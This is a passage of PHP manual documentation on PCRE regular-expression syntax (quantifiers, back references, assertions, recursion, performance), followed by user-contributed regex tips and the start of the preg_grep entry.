The general repetition quantifier specifies a minimum and maximum number of permitted matches, by giving the two numbers in curly brackets (braces), separated by a comma. The numbers must be less than 65536, and the first must be less than or equal to the second. For example: z{2,4} matches "zz", "zzz", or "zzzz". A closing brace on its own is not a special character. If the second number is omitted, but the comma is present, there is no upper limit; if the second number and the comma are both omitted, the quantifier specifies an exact number of required matches. Thus [aeiou]{3,} matches at least 3 successive vowels, but may match many more, while \d{8} matches exactly 8 digits. An opening curly bracket that appears in a position where a quantifier is not allowed, or one that does not match the syntax of a quantifier, is taken as a literal character. For example, {,6} is not a quantifier, but a literal string of four characters.

The quantifier {0} is permitted, causing the expression to behave as if the previous item and the quantifier were not present.

For convenience (and historical compatibility) the three most common quantifiers have single-character abbreviations:

表格 3. Single-character quantifiers

* | equivalent to {0,}
+ | equivalent to {1,}
? | equivalent to {0,1}

It is possible to construct infinite loops by following a subpattern that can match no characters with a quantifier that has no upper limit, for example: (a?)*

Earlier versions of Perl and PCRE used to give an error at compile time for such patterns. However, because there are cases where this can be useful, such patterns are now accepted, but if any repetition of the subpattern does in fact match no characters, the loop is forcibly broken.

By default, the quantifiers are "greedy", that is, they match as much as possible (up to the maximum number of permitted times), without causing the rest of the pattern to fail. The classic example of where this gives problems is in trying to match comments in C programs. These appear between the sequences /* and */ and within the sequence, individual * and / characters may appear. An attempt to match C comments by applying the pattern /\*.*\*/ to the string /* first command */ not comment /* second comment */ fails, because it matches the entire string due to the greediness of the .* item.

However, if a quantifier is followed by a question mark, then it ceases to be greedy, and instead matches the minimum number of times possible, so the pattern /\*.*?\*/ does the right thing with the C comments. The meaning of the various quantifiers is not otherwise changed, just the preferred number of matches. Do not confuse this use of question mark with its use as a quantifier in its own right. Because it has two uses, it can sometimes appear doubled, as in \d??\d which matches one digit by preference, but can match two if that is the only way the rest of the pattern matches.

If the PCRE_UNGREEDY option is set (an option which is not available in Perl) then the quantifiers are not greedy by default, but individual ones can be made greedy by following them with a question mark. In other words, it inverts the default behaviour.

Quantifiers followed by + are "possessive". They eat as many characters as possible and don't return to match the rest of the pattern. Thus .*abc matches "aabc" but .*+abc doesn't because .*+ eats the whole string. Possessive quantifiers can be used to speed up processing since PHP 4.3.3.

When a parenthesized subpattern is quantified with a minimum repeat count that is greater than 1 or with a limited maximum, more store is required for the compiled pattern, in proportion to the size of the minimum or maximum.

If a pattern starts with .* or .{0,} and the PCRE_DOTALL option (equivalent to Perl's /s) is set, thus allowing the . to match newlines, then the pattern is implicitly anchored, because whatever follows will be tried against every character position in the subject string, so there is no point in retrying the overall match at any position after the first. PCRE treats such a pattern as though it were preceded by \A. In cases where it is known that the subject string contains no newlines, it is worth setting PCRE_DOTALL when the pattern begins with .* in order to obtain this optimization, or alternatively using ^ to indicate anchoring explicitly.

When a capturing subpattern is repeated, the value captured is the substring that matched the final iteration. For example, after (tweedle[dume]{3}\s*)+ has matched "tweedledum tweedledee" the value of the captured substring is "tweedledee". However, if there are nested capturing subpatterns, the corresponding captured values may have been set in previous iterations. For example, after /(a|(b))+/ matches "aba" the value of the second captured substring is "b".

Back references

Outside a character class, a backslash followed by a digit greater than 0 (and possibly further digits) is a back reference to a capturing subpattern earlier (i.e. to its left) in the pattern, provided there have been that many previous capturing left parentheses.

However, if the decimal number following the backslash is less than 10, it is always taken as a back reference, and causes an error only if there are not that many capturing left parentheses in the entire pattern. In other words, the parentheses that are referenced need not be to the left of the reference for numbers less than 10. See the section entitled "Backslash" above for further details of the handling of digits following a backslash.

A back reference matches whatever actually matched the capturing subpattern in the current subject string, rather than anything matching the subpattern itself. So the pattern (sens|respons)e and \1ibility matches "sense and sensibility" and "response and responsibility", but not "sense and responsibility". If caseful matching is in force at the time of the back reference, then the case of letters is relevant. For example, ((?i)rah)\s+\1 matches "rah rah" and "RAH RAH", but not "RAH rah", even though the original capturing subpattern is matched caselessly.

There may be more than one back reference to the same subpattern. If a subpattern has not actually been used in a particular match, then any back references to it always fail. For example, the pattern (a|(bc))\2 always fails if it starts to match "a" rather than "bc". Because there may be up to 99 back references, all digits following the backslash are taken as part of a potential back reference number. If the pattern continues with a digit character, then some delimiter must be used to terminate the back reference. If the PCRE_EXTENDED option is set, this can be whitespace. Otherwise an empty comment can be used.

A back reference that occurs inside the parentheses to which it refers fails when the subpattern is first used, so, for example, (a\1) never matches. However, such references can be useful inside repeated subpatterns. For example, the pattern (a|b\1)+ matches any number of "a"s and also "aba", "ababaa" etc. At each iteration of the subpattern, the back reference matches the character string corresponding to the previous iteration. In order for this to work, the pattern must be such that the first iteration does not need to match the back reference. This can be done using alternation, as in the example above, or by a quantifier with a minimum of zero.

Assertions

An assertion is a test on the characters following or preceding the current matching point that does not actually consume any characters. The simple assertions coded as \b, \B, \A, \Z, \z, ^ and $ are described above. More complicated assertions are coded as subpatterns. There are two kinds: those that look ahead of the current position in the subject string, and those that look behind it.

An assertion subpattern is matched in the normal way, except that it does not cause the current matching position to be changed. Lookahead assertions start with (?= for positive assertions and (?! for negative assertions. For example, \w+(?=;) matches a word followed by a semicolon, but does not include the semicolon in the match, and foo(?!bar) matches any occurrence of "foo" that is not followed by "bar". Note that the apparently similar pattern (?!foo)bar does not find an occurrence of "bar" that is preceded by something other than "foo"; it finds any occurrence of "bar" whatsoever, because the assertion (?!foo) is always TRUE when the next three characters are "bar". A lookbehind assertion is needed to achieve this effect.

Lookbehind assertions start with (?<= for positive assertions and (?<! for negative assertions. For example, (?<!foo)bar does find an occurrence of "bar" that is not preceded by "foo". The contents of a lookbehind assertion are restricted such that all the strings it matches must have a fixed length. However, if there are several alternatives, they do not all have to have the same fixed length. Thus (?<=bullock|donkey) is permitted, but (?<!dogs?|cats?) causes an error at compile time. Branches that match different length strings are permitted only at the top level of a lookbehind assertion. This is an extension compared with Perl 5.005, which requires all branches to match the same length of string. An assertion such as (?<=ab(c|de)) is not permitted, because its single top-level branch can match two different lengths, but it is acceptable if rewritten to use two top-level branches: (?<=abc|abde) The implementation of lookbehind assertions is, for each alternative, to temporarily move the current position back by the fixed width and then try to match. If there are insufficient characters before the current position, the match is deemed to fail. Lookbehinds in conjunction with once-only subpatterns can be particularly useful for matching at the ends of strings; an example is given at the end of the section on once-only subpatterns.

Several assertions (of any sort) may occur in succession. For example, (?<=\d{3})(?<!999)foo matches "foo" preceded by three digits that are not "999". Notice that each of the assertions is applied independently at the same point in the subject string. First there is a check that the previous three characters are all digits, then there is a check that the same three characters are not "999". This pattern does not match "foo" preceded by six characters, the first of which are digits and the last three of which are not "999". For example, it doesn't match "123abcfoo". A pattern to do that is (?<=\d{3}...)(?<!999)foo

This time the first assertion looks at the preceding six characters, checking that the first three are digits, and then the second assertion checks that the preceding three characters are not "999".

Assertions can be nested in any combination. For example, (?<=(?<!foo)bar)baz matches an occurrence of "baz" that is preceded by "bar" which in turn is not preceded by "foo", while (?<=\d{3}...(?<!999))foo is another pattern which matches "foo" preceded by three digits and any three characters that are not "999".

Assertion subpatterns are not capturing subpatterns, and may not be repeated, because it makes no sense to assert the same thing several times. If any kind of assertion contains capturing subpatterns within it, these are counted for the purposes of numbering the capturing subpatterns in the whole pattern. However, substring capturing is carried out only for positive assertions, because it does not make sense for negative assertions.

Assertions count towards the maximum of 200 parenthesized subpatterns.

Once-only subpatterns

With both maximizing and minimizing repetition, failure of what follows normally causes the repeated item to be re-evaluated to see if a different number of repeats allows the rest of the pattern to match. Sometimes it is useful to prevent this, either to change the nature of the match, or to cause it fail earlier than it otherwise might, when the author of the pattern knows there is no point in carrying on.

Consider, for example, the pattern \d+foo when applied to the subject line 123456bar

After matching all 6 digits and then failing to match "foo", the normal action of the matcher is to try again with only 5 digits matching the \d+ item, and then with 4, and so on, before ultimately failing. Once-only subpatterns provide the means for specifying that once a portion of the pattern has matched, it is not to be re-evaluated in this way, so the matcher would give up immediately on failing to match "foo" the first time. The notation is another kind of special parenthesis, starting with (?> as in this example: (?>\d+)bar

This kind of parenthesis "locks up" the part of the pattern it contains once it has matched, and a failure further into the pattern is prevented from backtracking into it. Backtracking past it to previous items, however, works as normal.

An alternative description is that a subpattern of this type matches the string of characters that an identical standalone pattern would match, if anchored at the current point in the subject string.

Once-only subpatterns are not capturing subpatterns. Simple cases such as the above example can be thought of as a maximizing repeat that must swallow everything it can. So, while both \d+ and \d+? are prepared to adjust the number of digits they match in order to make the rest of the pattern match, (?>\d+) can only match an entire sequence of digits.

This construction can of course contain arbitrarily complicated subpatterns, and it can be nested.

Once-only subpatterns can be used in conjunction with look-behind assertions to specify efficient matching at the end of the subject string. Consider a simple pattern such as abcd$ when applied to a long string which does not match. Because matching proceeds from left to right, PCRE will look for each "a" in the subject and then see if what follows matches the rest of the pattern. If the pattern is specified as ^.*abcd$ then the initial .* matches the entire string at first, but when this fails (because there is no following "a"), it backtracks to match all but the last character, then all but the last two characters, and so on. Once again the search for "a" covers the entire string, from right to left, so we are no better off. However, if the pattern is written as ^(?>.*)(?<=abcd) then there can be no backtracking for the .* item; it can match only the entire string. The subsequent lookbehind assertion does a single test on the last four characters. If it fails, the match fails immediately. For long strings, this approach makes a significant difference to the processing time.

When a pattern contains an unlimited repeat inside a subpattern that can itself be repeated an unlimited number of times, the use of a once-only subpattern is the only way to avoid some failing matches taking a very long time indeed. The pattern (\D+|<\d+>)*[!?] matches an unlimited number of substrings that either consist of non-digits, or digits enclosed in <>, followed by either ! or ?. When it matches, it runs quickly. However, if it is applied to aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa it takes a long time before reporting failure. This is because the string can be divided between the two repeats in a large number of ways, and all have to be tried. (The example used [!?] rather than a single character at the end, because both PCRE and Perl have an optimization that allows for fast failure when a single character is used. They remember the last single character that is required for a match, and fail early if it is not present in the string.) If the pattern is changed to ((?>\D+)|<\d+>)*[!?] sequences of non-digits cannot be broken, and failure happens quickly.

Conditional subpatterns

It is possible to cause the matching process to obey a subpattern conditionally or to choose between two alternative subpatterns, depending on the result of an assertion, or whether a previous capturing subpattern matched or not. The two possible forms of conditional subpattern are

(?(condition)yes-pattern)
(?(condition)yes-pattern|no-pattern)

If the condition is satisfied, the yes-pattern is used; otherwise the no-pattern (if present) is used. If there are more than two alternatives in the subpattern, a compile-time error occurs.

There are two kinds of condition. If the text between the parentheses consists of a sequence of digits, then the condition is satisfied if the capturing subpattern of that number has previously matched. Consider the following pattern, which contains non-significant white space to make it more readable (assume the PCRE_EXTENDED option) and to divide it into three parts for ease of discussion: ( \( )? [^()]+ (?(1) \) )

The first part matches an optional opening parenthesis, and if that character is present, sets it as the first captured substring. The second part matches one or more characters that are not parentheses. The third part is a conditional subpattern that tests whether the first set of parentheses matched or not. If they did, that is, if subject started with an opening parenthesis, the condition is TRUE, and so the yes-pattern is executed and a closing parenthesis is required. Otherwise, since no-pattern is not present, the subpattern matches nothing. In other words, this pattern matches a sequence of non-parentheses, optionally enclosed in parentheses.

If the condition is the string (R), it is satisfied if a recursive call to the pattern or subpattern has been made. At "top level", the condition is false.

If the condition is not a sequence of digits or (R), it must be an assertion. This may be a positive or negative lookahead or lookbehind assertion. Consider this pattern, again containing non-significant white space, and with the two alternatives on the second line:

(?(?=[^a-z]*[a-z])
\d{2}-[a-z]{3}-\d{2} | \d{2}-\d{2}-\d{2} )

The condition is a positive lookahead assertion that matches an optional sequence of non-letters followed by a letter. In other words, it tests for the presence of at least one letter in the subject. If a letter is found, the subject is matched against the first alternative; otherwise it is matched against the second. This pattern matches strings in one of the two forms dd-aaa-dd or dd-dd-dd, where aaa are letters and dd are digits.

Comments

The sequence (?# marks the start of a comment which continues up to the next closing parenthesis. Nested parentheses are not permitted. The characters that make up a comment play no part in the pattern matching at all.

If the PCRE_EXTENDED option is set, an unescaped # character outside a character class introduces a comment that continues up to the next newline character in the pattern.

Recursive patterns

Consider the problem of matching a string in parentheses, allowing for unlimited nested parentheses. Without the use of recursion, the best that can be done is to use a pattern that matches up to some fixed depth of nesting. It is not possible to handle an arbitrary nesting depth. Perl 5.6 has provided an experimental facility that allows regular expressions to recurse (among other things). The special item (?R) is provided for the specific case of recursion. This PCRE pattern solves the parentheses problem (assume the PCRE_EXTENDED option is set so that white space is ignored): \( ( (?>[^()]+) | (?R) )* \)

First it matches an opening parenthesis. Then it matches any number of substrings which can either be a sequence of non-parentheses, or a recursive match of the pattern itself (i.e. a correctly parenthesized substring). Finally there is a closing parenthesis.

This particular example pattern contains nested unlimited repeats, and so the use of a once-only subpattern for matching strings of non-parentheses is important when applying the pattern to strings that do not match. For example, when it is applied to (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa() it yields "no match" quickly. However, if a once-only subpattern is not used, the match runs for a very long time indeed because there are so many different ways the + and * repeats can carve up the subject, and all have to be tested before failure can be reported.

The values set for any capturing subpatterns are those from the outermost level of the recursion at which the subpattern value is set. If the pattern above is matched against (ab(cd)ef) the value for the capturing parentheses is "ef", which is the last value taken on at the top level. If additional parentheses are added, giving \( ( ( (?>[^()]+) | (?R) )* ) \) then the string they capture is "ab(cd)ef", the contents of the top level parentheses. If there are more than 15 capturing parentheses in a pattern, PCRE has to obtain extra memory to store data during a recursion, which it does by using pcre_malloc, freeing it via pcre_free afterwards. If no memory can be obtained, it saves data for the first 15 capturing parentheses only, as there is no way to give an out-of-memory error from within a recursion.

Since PHP 4.3.3, (?1), (?2) and so on can be used for recursive subpatterns too. It is also possible to use named subpatterns: (?P>foo).

If the syntax for a recursive subpattern reference (either by number or by name) is used outside the parentheses to which it refers, it operates like a subroutine in a programming language. An earlier example pointed out that the pattern (sens|respons)e and \1ibility matches "sense and sensibility" and "response and responsibility", but not "sense and responsibility". If instead the pattern (sens|respons)e and (?1)ibility is used, it does match "sense and responsibility" as well as the other two strings. Such references must, however, follow the subpattern to which they refer.

Performances

Certain items that may appear in patterns are more efficient than others. It is more efficient to use a character class like [aeiou] than a set of alternatives such as (a|e|i|o|u). In general, the simplest construction that provides the required behaviour is usually the most efficient. Jeffrey Friedl's book contains a lot of discussion about optimizing regular expressions for efficient performance.

When a pattern begins with .* and the PCRE_DOTALL option is set, the pattern is implicitly anchored by PCRE, since it can match only at the start of a subject string. However, if PCRE_DOTALL is not set, PCRE cannot make this optimization, because the . metacharacter does not then match a newline, and if the subject string contains newlines, the pattern may match from the character immediately following one of them instead of from the very start. For example, the pattern (.*) second matches the subject "first\nand second" (where \n stands for a newline character) with the first captured substring being "and". In order to do this, PCRE has to retry the match starting after every newline in the subject.

If you are using such a pattern with subject strings that do not contain newlines, the best performance is obtained by setting PCRE_DOTALL, or starting the pattern with ^.* to indicate explicit anchoring. That saves PCRE from having to scan along the subject looking for a newline to restart at.

Beware of patterns that contain nested indefinite repeats. These can take a long time to run when applied to a string that does not match. Consider the pattern fragment (a+)*

This can match "aaaa" in 33 different ways, and this number increases very rapidly as the string gets longer. (The * repeat can match 0, 1, 2, 3, or 4 times, and for each of those cases other than 0, the + repeats can match different numbers of times.) When the remainder of the pattern is such that the entire match is going to fail, PCRE has in principle to try every possible variation, and this can take an extremely long time.

An optimization catches some of the more simple cases such as (a+)*b where a literal character follows. Before embarking on the standard matching procedure, PCRE checks that there is a "b" later in the subject string, and if there is not, it fails the match immediately. However, when there is no following literal this optimization cannot be used. You can see the difference by comparing the behaviour of (a+)*\d with the pattern above. The former gives a failure almost instantly when applied to a whole line of "a" characters, whereas the latter takes an appreciable time with strings longer than about 20 characters.

add a note add a note User Contributed Notes
ufotds at yahoo dot com
29-May-2006 11:25
Ok, I will try to explain the regex by davout. Most of this is explained above though, but if you are new to regex and just read all off the above, you probably deserved a practical one nicely dissected. I dissect it part by part...

%&quot;(.+)&quot;[\s]+((http|https|ftp|file)://[^\s]+?)(.*)%sU

%        //this is a delimiter, basically saying to the parser that if it is found again, the expression stops.
&quot;    //this is a html entity encoding, because in html quotes are like metacharacters, so they are escaped this way.            see here for a table http://www.cookwood.com/entities/
(        //this is the beginning of the first group, will later be referenced by $1, or (if referenced within the exp)              \1, this doesn't happen here
.        //matches any character... (normally except newline unless you set the s modifier in the end, which happens                  here, so it is anything including newline)
+        //... one or more times
)        //end of first group
&quot;    //same as above
[\s]      //[]denotes a class, meaning that this place can hold any character from within the class, in this case it is a              metacharacter signifying any whitespace character
+        //...again one or more of the last character
(        //open the second group $2
(http|https|ftp|file)    //the third group ($3) is an alteration, and can be any of these to fulfill a match.
://        //they just represent themselves literally
[^\s]+?    //this is one or more none(^) whitespace characters, where the the quantifier is greedy this time, see the                    section on repetition above how it works, but basically we want the group to include the whole url, and                    because the next character (.*) matches anything, an ungreedy quantifier here would only match one                        character, because the .* would take over immeadiately.
)          //close the second group
(.*)        //$4 this basically consumes the rest of the string to put it back after we are done. As far as I can see,                  this last group is just redundant, as we don't replace this, we just put it back. Personally I would leave                this away.
%          //end of expression
s          //make a . fit even newline
U          //Reverses default to ungreedy, and +? or ?? or *? to greedy.

The groups are then used to replace the pattern and put these pieces back... So to make a long story short. you can write your link like "name" http://my.link bla bla bla. and it will be replaced by a real one.
So, that's how easy it is... Have fun
bobbykjack at yahoo dot co dot uk
05-May-2006 03:53
If anyone else out there is having a problem with the 'general repetition quantifier', please take heed of the note ", separated by a comma." (which should be rewritten ",separated ..." !) Specifically,

<?php
$pattern = '/z{2, 4}/';
?>

is NEVER what you want. Ensure there is no comma between the min and max values:

<?php
$pattern = '/z{2,4}/';
?>
spook at op.pl
05-Apr-2006 02:37
A useful note for beginners: note the difference between mathematical and PHP regular expressions. The _mathematical_ regex:

(a+b+c)*

which written in PHP syntax will look like:

[abc]*

will match any string built of a, b or c letters, but will not match string, for example:

abcd

However, the _PHP_ regular expression will match above string, because the regex means "accept all strings, which contain 0 or more occurences of letters: a, b or c".

To convert the regexp from the mathematical to PHP convention, use the ^ and $ characters, which indicate start and end of tested string. So the regexp:

^[abc]*$

means "match all strings, which, between its beginning and end, have 0 or more occurences of letters a, b or c" - which is, what we searched for.

Nasty habit, especially after two tests on "theoretical basics of computer science" :)
michael(at)webstaa(dot)com
14-Dec-2005 10:21
If you want to match any character other than reverse solidus (backslash), e.g.: to replace double single quotes in a string but not if they are preceeded by a backslash, try:
<?php
   preg_replace ( "/[^\\x5c]''/", "null", $sql );
?>
Daniel Vandersluis
24-Nov-2005 02:50
Concerning note #6 in "Differences From Perl", the \G token *is* supported as the last match position anchor. This has been confirmed to work at least in preg_replace(), though I'd assume it'd work in preg_match_all(), and other functions that can make more than one match, as well.
roland dot illig at gmx dot de
08-Nov-2005 05:02
<quote>
9. Another as yet unresolved discrepancy is that in Perl 5.005_02 the pattern /^(a)?(?(1)a|b)+$/ matches the string "a", whereas in PCRE it does not. However, in both Perl and PCRE /^(a)?a/ matched against "a" leaves $1 unset.
</quote>

The last sentence does not indicate a bug. If the string "a" should match against the regular expression /^(a)?a/, the last "a" in the regex must be matched by any literal "a" in the string. The rest of the string is "", which obviously does not match the first /^(a)/.
Toni
23-Sep-2005 03:47
While andrew is right about using a parser when a parser is called for, I have to point out the fact, that the "regex killer" example he is giving is consistent with the general GIGO *(garbage in -> agrabe out) principle:. That said, the below mentioned regex will do exactly what it's supposed to do on it. Choke.

That type of code is not recommended by W3C. Although an xhtml document will validate, it will yield warnings. It is much safer to use "&lt;" in such a case. That would be <img class="match1" alt="&lt;">. The lesson here is "rfm". And for advanced users "RTFM".
Andrew
06-Sep-2005 01:03
wfinn, your example falls into one of the common traps, which is trying to parse a complicated language with a simple regex. Just try feeding it input containing a tag like <img class="match1" alt="<">. It'll die a horrible death. The main lesson here is "never parse HTML with a regex". The lesson for the advanced reader is "never use a regex where a parser is called for."
davout_69 at yahoo dot com
23-Jul-2005 03:36
Found a great expression that replaces a text url - http:/....  with <a href ="http://www...">

Although it works, I still don't understand how.  If someone could explain this it would great to learn what amounts to me as a foreign language :-)

Here is the expression:

'%&quot;(.+)&quot;[\s]+((http|https|ftp|file)://[^\s]+?)(.*)%sU'

$pcre = '%&quot;(.+)&quot;[\s]+((http|https|ftp|file)://[^\s]+?)(.*)%sU';
if ( preg_match( $pcre, $lines ) ){
   $lines = preg_replace( $pcre, '<a href="$2" target="_top">$1</a>$4', $lines );
} else {
   $pcre = '%\b((http|https|ftp|file)://[^\s]+?)(.*)%U';
   $lines = preg_replace( $pcre, '<a href="$1" target="_top">$1</a>$3', $lines );
}
Ned Baldessin
16-Jul-2005 07:14
Although \w and \W do include as "word characters" locale-specific characters (like "" if you are using the "fr" locale), \b and \B do not work the same way.

For example :
"foo tait bar"  =>  /\W(tait)\W/  =>  This captures correctly "tait".
"foo tait bar"  =>  /\b(tait)\b/  =>  This fails to capture it.

This is confusing, because the manual talks in both cases about "word characters", but fails to mention the difference in behaviour.
wfinn at yakasha dot net
16-Jul-2005 03:22
Some simple assertions so you only match inside (or outside) an html tag:

<?php
$string1 = "<b><span class=\"match1\">match2</span><span class=\"match3\">match4</span></b>match5";
$string2 = preg_replace( "/match(?![^<]*?>)/", "replacement", $string1 );  // Matches outside the html tag
$string3 = preg_replace( "/match(?=[^<]*?>)/", "replacement", $string1 );  // Matches inside the html tag

echo "1: " . str_replace(array("<",">"), array("&lt;","&gt;"), $string1) . "<br>\n";
echo "2: " . str_replace(array("<",">"), array("&lt;","&gt;"), $string2) . "<br>\n";
echo "3: " . str_replace(array("<",">"), array("&lt;","&gt;"), $string3) . "<br>\n";
?>

This outputs:
1: <b><span class="match1">match2</span><span class="match3">match4</span></b>match5
2: <b><span class="match1">replacement2</span><span class="match3">replacement4</span></b>replacement5
3: <b><span class="replacement1">match2</span><span class="replacement3">match4</span></b>match5
june05 at tilo-hauke dot de
05-Jun-2005 02:24
//to match quotings in code strings by skipping included quotings if they appear use this expression:

$matchQuotings='/(((?<!\\\)")((?<=\\\)"
                 |[^"])*((?<!\\\)"))
                 |(((?<!\\\)\')((?<=\\\)\'
                 |[^\'])*((?<!\\\)\'))
               /';

// for example: matchQuotings finds:
//    "javascript:func('string-param');"
// in strings like this:
//    ... <a href="javascript:func('string-param')"> ...
// and finds:
//    'javascript:func("string-param");'
// in strings like this:
//    ... <a href="javascript:func('string-param')"> ...
// and finds:
//    'a "b" c'
//    "d 'e' f"
// in strings like this:
//  ... x 'a "b" c' y "d 'e' f" z...
xlex0x835 at rambler dot ru
16-May-2005 02:38
Attention (it may saves you lot's of time): in this doc there is no words about Unicode operations in pcre_* functions, while it is very important.

Just read missing part (from http://www.pcre.org/pcre.txt):
==================
  In  UTF-8 mode, characters with values greater than 128 never match \d,
       \s, or \w, and always match \D, \S, and \W. This is true even when Uni-
       code character property support is available.
==================

What to do:
==================

   Unicode character properties

       When PCRE is built with Unicode character property support, three addi-
       tional escape sequences to match generic character types are  available
       when UTF-8 mode is selected. They are:

       \p{xx}  a character with the xx property
       \P{xx}  a character without the xx property
       \X      an extended Unicode sequence

       The  property  names represented by xx above are limited to the Unicode
       general category properties. Each character has exactly one such  prop-
       erty,  specified  by  a two-letter abbreviation. For compatibility with
       Perl, negation can be specified by including a circumflex  between  the
       opening  brace  and the property name. For example, \p{^Lu} is the same
       as \P{Lu}.

       If only one letter is specified with \p or  \P,  it  includes  all  the
       properties that start with that letter. In this case, in the absence of
       negation, the curly brackets in the escape sequence are optional; these
       two examples have the same effect:

         \p{L}
         \pL

       The following property codes are supported:

         C    Other
         Cc    Control
         Cf    Format
         Cn    Unassigned
         Co    Private use
         Cs    Surrogate

         L    Letter
         Ll    Lower case letter
         Lm    Modifier letter
         Lo    Other letter
         Lt    Title case letter
         Lu    Upper case letter

         M    Mark
         Mc    Spacing mark
         Me    Enclosing mark
         Mn    Non-spacing mark

         N    Number
         Nd    Decimal number
         Nl    Letter number
         No    Other number

         P    Punctuation
         Pc    Connector punctuation
         Pd    Dash punctuation
         Pe    Close punctuation
         Pf    Final punctuation
         Pi    Initial punctuation
         Po    Other punctuation
         Ps    Open punctuation

         S    Symbol
         Sc    Currency symbol
         Sk    Modifier symbol
         Sm    Mathematical symbol
         So    Other symbol

         Z    Separator
         Zl    Line separator
         Zp    Paragraph separator
         Zs    Space separator

       Extended  properties such as "Greek" or "InMusicalSymbols" are not sup-
       ported by PCRE.

       Specifying caseless matching does not affect  these  escape  sequences.
       For example, \p{Lu} always matches only upper case letters.

       The  \X  escape  matches  any number of Unicode characters that form an
       extended Unicode sequence. \X is equivalent to

         (?>\PM\pM*)

       That is, it matches a character without the "mark"  property,  followed
       by  zero  or  more  characters with the "mark" property, and treats the
       sequence as an atomic group (see below).  Characters  with  the  "mark"
       property are typically accents that affect the preceding character.

       Matching  characters  by Unicode property is not fast, because PCRE has
       to search a structure that contains  data  for  over  fifteen  thousand
       characters. That is why the traditional escape sequences such as \d and
       \w do not use Unicode properties in PCRE.

==================
onerob at gmail dot com
02-Apr-2005 08:51
If, like me, you tend to use the /U pattern modifier, then you will need to remember that using ? or * to to test for optional characters will match zero characters if it means that the rest of the pattern can continue matching, even if the optional characters exist.

For instance, if we have this string:

a___bcde

and apply this pattern:

'/a(_*).*e/U'

The whole pattern is matched but none of the _ characters are placed in the sub-pattern. The way around this (if you still wish to use /U) is to use the ? greediness inverter. eg,

'/a(_*?).*e/U'
karoly at negyesi dot network dot i dot mean dot net
11-Mar-2005 06:05
The PCRE in 4.3 has a lot more features. Read http://www.zend.com/lists/php-dev/200306/msg00844.html
W W W
07-Mar-2005 11:22
Back references are a great way to achieve exact matching when it would have been impossible any other way. Take these three strings.

1) "www.www.com"
2) 'www.www.com'
3) "www.www.com'

The regex /^("|').+?("|')$/ would match all three strings but what if you needed the 3rd string above to be illegal because the quotes are not the same? You could write four different regexes to check for every possible case OR you could use back references.

/^("|').+?\1$/ will match strings 1 and 2 but not string 3. Try this code for further proof:

$str_test="'www.www.com\"";
$int_count=preg_match("/^(\"|').+?\\1$/", $str_test, $matches, PREG_OFFSET_CAPTURE);

The preg_match function will not match against $str_test because the quotes are mismatched. If you change $str_test to

$str_test = "'www.www.com'";

the preg_match will work.
SG_01[-at-]sg01[-dot-]net
11-Feb-2005 01:24
Re: info at atjeff dot co dot nz

It's very simple actually, the question mark acts as a quantity minimizer. Which means it won't take up as much space as it can for one "tag". The same can be achieved by putting a U after the ending slash.

Like this:
<?PHP

function Simple_Tag_Decode($Data, $Tag) {
  return preg_replace("/&gt;$Tag&lt;(.*)&gt;\/$Tag&lt;/iU", "<$Tag>\\1</$Tag>", $Data);
}

?>
info at atjeff dot co dot nz
08-Feb-2005 08:46
ive never used regex expressions till now and had loads of difficulty trying to convert a [url]link here[/url] into an href for use with posting messages on a forum, heres what i manage to come up with:

$patterns = array(
           "/\[link\](.*?)\[\/link\]/",
           "/\[url\](.*?)\[\/url\]/",
           "/\[img\](.*?)\[\/img\]/",
           "/\[b\](.*?)\[\/b\]/",
           "/\[u\](.*?)\[\/u\]/",
           "/\[i\](.*?)\[\/i\]/"
       );
       $replacements = array(
           "<a href=\"\\1\">\\1</a>",
           "<a href=\"\\1\">\\1</a>",
           "<img src=\"\\1\">",
           "<b>\\1</b>",
           "<u>\\1</u>",
           "<i>\\1</i>"

       );
       $newText = preg_replace($patterns,$replacements, $text);

at first it would collect ALL the tags into one link/bold/whatever, until i added the "?" i still dont fully understand it... but it works :)
pilot doofy at gmail d0t k0m
05-Jan-2005 12:33
Keep in mind that when using limits whitespace doesn't count. I made this mistake quite often. Remember the [[:space:]] character set. In example:

$string = "Wow php is really cool";
eregi("[[:alpha:]]{18}", $string); //returns true but
eregi("[[:alpha:]]{22}", $string); // does not return true because the whitespace doesn't count for matches
J Daugherty
10-Dec-2004 01:06
In the character class meta-character documentation above, the circumflex (^) is described:

"^  negate the class, but only if the first character"

It should be a little more verbose to fully express the meaning of ^:

^    Negate the character class.  If used, this must be the first character of the class (e.g. "[^012]").
29-May-2004 05:15
In addition to the meta-characters mentioned above, there can be another special character in a regular expression: the delimiter you use to start and end your expression.  Often people use the / character for this.

For example, if you wanted to search for text surrounded by opening and closing tags like'<TD>SELL</TD>' and replace it with nothing (erase it), you might be tempted to use a regex like this:

<?php
$myNewText = preg_replace('/<TD>SELL</TD>/', "", $myText);
?>

This does not work properly.  As mentioned in the Introduction at the top of http://www.php.net/manual/en/ref.pcre.php, if the delimiter appears in the middle of your regular expression, then you must put a \ character before it.  So this DOES work:

<?php
$myNewText = preg_replace('/<TD>SELL<\/TD>/', "", $myText);
?>

That same Introduction also mentions that you can start and end your expression with characters other than the usual /.  Because there are no % characters in the middle of my expression above, I might prefer to use the following:

<?php
$myNewText = preg_replace('%<TD>SELL</TD>%', "", $myText);
?>

That also works correctly, and I did not need a \ before the /.
napalm at spiderfish dot net
18-Mar-2004 12:14
Pay attention that some pcre features such as once-only or recursive patterns are not implemented in php versions prior to 5.00

Napalm
brewthatistrue
03-Mar-2004 11:06
http://zvon.org/other/PerlTutorial/Output/index.html
gphemsley at users dot sourceforge dot net
06-Dec-2003 03:53
Another good website for Regular Expression reference materials is:

http://www.regularexpressions.info/
brett_hegr at yahoo dot com
19-Nov-2003 03:39
This is a gem of a website.  It has a big library of useful expressions, a search engine, and a tool for testing your regexp.

http://www.regexlib.com/
add a note add a note

后退 | 起点 | 前进
模式修正符 | 上一级 | preg_grep


preg_grep

(PHP 4, PHP 5)

preg_grep -- 返回与模式匹配的数组单元

说明

array preg_grep ( string pattern, array input )

preg_grep() 返回一个数组，其中包括了 input 数组中与给定的 pattern 模式相匹配的单元。

自 PHP 4.0.4 起，preg_grep() 返回的结果使用从输入数组来的键名进行索引。如果不希望这样的结果，用 array_values() 对 preg_grep() 返回的结果重新索引。

例子 1. preg_grep() 例子

<?php
// return all array elements
// containing floating point numbers
$fl_array = preg_grep ("/^(\d+)?\.\d+$/", $array);
?>

add a note add a note User Contributed Notes
tobyf at web dot de
24-May-2006 03:39
